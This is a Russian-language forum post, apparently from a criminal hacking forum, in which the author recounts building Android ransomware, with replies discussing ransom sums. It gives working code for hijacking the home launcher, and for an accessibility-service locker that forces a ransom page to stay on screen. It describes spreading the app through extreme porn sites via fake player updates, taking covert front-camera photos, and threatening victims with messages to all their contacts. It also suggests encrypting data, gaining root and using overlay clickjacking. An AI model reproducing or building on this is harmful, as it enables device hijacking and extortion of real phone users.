• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Как мы писали первый ransomware под android

2c71e9

Газонокосильщик
КИДАЛА
Регистрация
19.04.2019
Сообщения
708
Реакции
682
Пожалуйста, обратите внимание, что пользователь заблокирован
1578747446345.png


Вся история основана на реальных событиях, но все персонажы вымышлены. Всем привет, дело было в 2014 году. Тогда то еще мобильных ботов под андроид не было. Для нас было все в диковинку. Сидел я тогда писал свой криптор на C++. Все было скучно и однообразно. И как-то пересеклись с человеком на одном из форумов. Как раз искал кодера, денег обещал миллионы. Ну я такой встрепенулся, мол что делать то надо?

И так мне поставили написать задачу своего первого вымогателя. Но еще не под андроид а под браузер. Идея была очень простоа. Человек попадал с какого нить порно ресурса на лендинг, где его просили заплатить штраф, так как порно смотреть не хорошо ^_^ Была инструкция и так далее, при попытке закрытия бразуере срабатывало событие onClose которого вроде сейчас уже нет, и алерт не давал закрыть браузер. Для большей надежности еще использовался рекурсивный iframe чтобы событие точно срабатывало. Денег конечно приносило не много но приносило.

И спустя пару недель, стучится партнер и говорит я понял как срубить бабла. Пилим приложение под телефон.

Техническая задача была такая:
1. Приложение после установки, показывает лендинг, с полем для ввода и инструкцией как получить какие-то американские паксумы. Не помню как точно уже называлась.
2. Приложение нельзя закрыть пока не введен код платежки.

Вроде все легко, тогда версии андроидов были 2.х-4.0. Ток появлялся 4.4 но их было очень мало. Я долго сидел и думал как же сделать так, чтобы приложение не могли закрыть. Сервис акцесабилити по моему был еще не на столько развит тогда, честно не помню. Постоянно открывать активити тоже был гемор, ведь иногда андроид тупил и была возможность что приложение не откроется а юзер быстро его удалит.

Да, мы изначально просили "admin" права. Чтобы бы защитить себя от удаления. Ведь когда включены эти права, кнопка удалить не активно. Это после этих случаев, на андроид 4.4 и выше ввели возможность удаление даже если стоит такая галка. Помню еще глаза всех кодеров которые заманивали этой фишкой кучу непонимающих клиентов. Ведь звучало это круто, но на андроид 4.4 это уже не работало. А детектов добавляло куча. Просто светился как елка на новый год. Или как сейчас горят склады нпз.


В общем нужен был 100% работающий вариант. Ведь мы реально были одни из первых, кто лез в эту нишу. И разгребая кучу информации, я наткнулся на понятие launcher. То есть замена основного лаунчера. Прикол в том, что он как раз контролировал все, сворачивания, показ иконок и так далее и его было не закрыть. А самое главное что смена стандартного Launcher на другом была возможно без всяких прав. А после смены уже и в настройки не зайдешь ни куда. И тут я понял это оно.

Сделал самый простой лаунчер, который состоял ток с одной активити, а на все остальные события отвечал пустыми заглушками. Ну и в этом активити выводил webview, тогда еще без хрома.

Выводим запрос
Intent startMain = new Intent(Intent.ACTION_MAIN);
startMain.addCategory(Intent.CATEGORY_HOME);
startMain.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
startActivity(startMain);

Сброс дефолтных действий
getPackageManager().clearPackagePreferredActivities(getPackageName());

Проверка, установлен ли наш лаунчер по дефолту
private boolean isMyLauncherDefault() {
PackageManager localPackageManager = getPackageManager();
Intent intent = new Intent("android.intent.action.MAIN");
intent.addCategory("android.intent.category.HOME");
String str = localPackageManager.resolveActivity(intent,
PackageManager.MATCH_DEFAULT_ONLY).activityInfo.packageName;
return str.equals(getPackageName());
}

Манифест активити
<activity
android:name="FakeHome" android:enabled="false">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.HOME"/>
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>

Код нашей активити
public class FakeHome extends Activity {

}


if(!isMyLauncherDefault()) {
PackageManager p = getPackageManager();
ComponentName cN = new ComponentName(Activity.this, FakeHome.class);
p.setComponentEnabledSetting(cN, PackageManager.COMPONENT_ENABLED_STATE_ENABLED, PackageManager.DONT_KILL_APP);

Intent selector = new Intent(Intent.ACTION_MAIN);
selector.addCategory(Intent.CATEGORY_HOME);
startActivity(selector);

p.setComponentEnabledSetting(cN, PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
}

Для новых андродов, тоже осталась возможность через RoleManager


fun showLauncherSelector(activity: AppCompatActivity, requestCode : Int) {
val roleManager = activity.getSystemService(Context.ROLE_SERVICE) as RoleManager
if(roleManager.isRoleAvailable(RoleManager.ROLE_HOME)){
val intent = roleManager.createRequestRoleIntent(RoleManager.ROLE_HOME)
activity.startActivityForResult(intent, requestCode)
}
}

override fun onActivityResult(requestCode: Int, resultCode: Int, data: Intent?) {
if (requestCode == MY_REQUEST_CODE) {
if (resultCode != Activity.RESULT_OK) {
// Something went wrong
}
}
}

Вот собственно и все. Но отвечаю на вопрос, почему сейчас это не использовать? Ведь это золотое дно. А суть в том, что раньше сменить обратно вообще было нельзя, только сброс до заводских установок и раньше не работали синхронизации. А вот сейчас можно спокойно вернуть все обратно. Да и данные уже все синхронизируеются.

1578747641443.png


Как мы получали установки?

Мы договаривались с порнушными сайтами, какой нибудь жести. Мы обычно выбирали, где порно с животными, детьми и так далее. Да или сами уже под конец делали такие. В общем суть инсталов была в чем. Вместо ролика на странице с крутым описанием, и парой скриншотов, мы показывали оповещение. Ваш плеер не поддерживается, чтобы все работало, скачай-те это.

Во первых это нам давало что пользователь разрешит все что нужно приложению, ведь видео то посмотреть хочется.
Во вторых мы не парились о том что там будет стоять анитвирус или еще что. Хотя тогда их еще и не было. Ток первые беты появлялись.

Пользователь скачивал, запускал и мы ему показывали предупреждение от ФБР. Мол ай ай ай, заплати штраф и не лазий там больше. Вот собственно и схема вся. Принимали к платежам все теже коды карточек. Их тогда продавали на заправках даже в Америке.

Вроде было все хорошо, но платили не очень много. И мы сидели попивая пивко и грустил. Думали как улучшить конверт. И тут партнеру пришла в голову идея.

Мы решили чуток модифицировать лендинг следующим образом.

Когда запускалось приложение, мы делали скрытое фото (Да на андроидах 2.х и 4.0 можно было это сделать, без предварительного превью. Сейчас превью спрашивают, но вроде как обход есть, превью показывать очень мелким). Фото делали с передней камеры. Ведь когда человек устанавливает, он всяко смотрит на телефон.

Так вот, теперь мы имеем, лендинг от фбр уже с фотографией вставленной, ссылкой где человек лазил ( а напомню, там было порно жести всякой ). И кодом для оплаты.
Но для большего страха, ведь нам же нужно было давить именно на этот инстинкт. Мы запускали таймер с обратным отсчетом, и говорили, что если человек не сделает оплату, мы разошлем смс по всем контактам с этой информацией.

И тут у нас поперло) Но чуть позже история закончилась, тем что ввели новые правила в андроид, убрали лаунчеры в том виде как они были и так далее.

1578747699229.png


Как можно это реализовать сейчас?

Сделать все это можно точно так же, но только не через лаунчер а через сервис accessability.

Создаем класс Accessability
package com.example.android.apis.accessibility;

import android.accessibilityservice.AccessibilityService;
import android.view.accessibility.AccessibilityEvent;

public class MyAccessibilityService extends AccessibilityService {
...
@Override
public void onAccessibilityEvent(AccessibilityEvent event) {
Здесь отлавливаем события смены окна, если окно сменилось, открываем наше активити с лендингом.
}

@Override
public void onInterrupt() {
}

...
}

Добавляем его в манифест
<application>
<service android:name=".MyAccessibilityService"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
android:label="@string/accessibility_service_label">
<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>
</service>
</application>

Настройка сервиса <project_dir>/res/xml/accessibility_service_config.xml
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:description="@string/accessibility_service_description"
android:packageNames="com.example.android.apis"
android:accessibilityEventTypes="typeAllMask"
android:accessibilityFlags="flagDefault"
android:accessibilityFeedbackType="feedbackSpoken"
android:notificationTimeout="100"
android:canRetrieveWindowContent="true"
android:settingsActivity="com.example.android.accessibility.ServiceSettingsActivity"
/>

Очень много информации на оф сайта да и везде.

Вот сама простая активити для вывода html лендинга

package com.willowtreeapps.demo;

import android.app.Activity;
import android.os.Bundle;
import android.view.KeyEvent;
import android.view.Window;
import android.webkit.WebView;
import android.webkit.WebViewClient;

public class MainActivity extends Activity {
private WebView mWebView;

@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
getWindow().requestFeature(Window.FEATURE_NO_TITLE);
mWebView = new WebView(this);
mWebView.loadUrl("http://lenta.ru/");
mWebView.setWebViewClient(new WebViewClient() {
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url) {
view.loadUrl(url);
return true;
}
});

this.setContentView(mWebView);
}

@Override
public boolean onKeyDown(final int keyCode, final KeyEvent event) {
if ((keyCode == KeyEvent.KEYCODE_BACK) && mWebView.canGoBack()) {
mWebView.goBack();
return true;
}
return super.onKeyDown(keyCode, event);
}
}

Собственно все просто) Вот мы можем уже адаптировать наш локер под уже настоящие реалии.

1578747794483.png


Что мы можно было бы добавить в новые локеры по андроидам?

1. Шифрование контактов и фоток
2. Отключение синхронизации
3. Попытки получения рута
4. Ах кстати пока уже редактировал текст, еще как фишку блокировки можно использовать перекрытие экрана, это тоже ни как не закрыть. (Cloak-And-Dagger exploit)

Кстати вот сам и эксплоит

Суть в том что можно рисовать что угодно поверх чего угодно, а так же принимать клики. Но суть эксплоита чуток в другом, это еще и позволяет прокликивать вниз под него. То есть вы юзеру показываете одно, а кликает он на самом деле на другое. Так можно незаметно получать любые права) Или устанавливать приложения, или еще что нить. Кликать на настройкам.

Но можно и использовать это чисто для того чтобы показывать лендинг.

И так далее.

P.S. Вот собственно и все. Полета для фантазий тоже очень много. Спасибо за прочтение. С прошедшими праздниками ^_^ Я расписал в статье основные моменты и главные фишки, исходные коды, выкладывать не буду, так как софт был в работе. Да и оно уже не актуально. Сейчас нужно переписывать все на accessability.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Напиши-те какие конкретно моменты осветить, допишу)
Момент полных сорцов упущен. А так таких ностальгий в журналах хакер полно и в каналах ТГ. Воды много.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
А кто работал с рансом на ведре? Какие суммы там вообще можно запрашивать? Да и сейчас же у всех уже есть облачные копии и прочее, фотки на облако льются сразу и так далее. Интересн опросто по конверту, учитывая что сетки компаний мы лочить не можем )
 
Пожалуйста, обратите внимание, что пользователь заблокирован
А кто работал с рансом на ведре? Какие суммы там вообще можно запрашивать? Да и сейчас же у всех уже есть облачные копии и прочее, фотки на облако льются сразу и так далее. Интересн опросто по конверту, учитывая что сетки компаний мы лочить не можем )
В те времена мы просили 300-500 за разлок, но не забываем, что раньше удалить заразу с телефона мало кто умел, да и сложно это было.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Исходники BFG бота когда выложишь? или неохота свои наработки публиковать?
С каких пор он мой? Я вообще никакими делами не занимаюсь и не собираюсь. На счет выложить я уже отписал, что он будет выложен, когда у меня будет возможность. Я не ношу все с собой.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх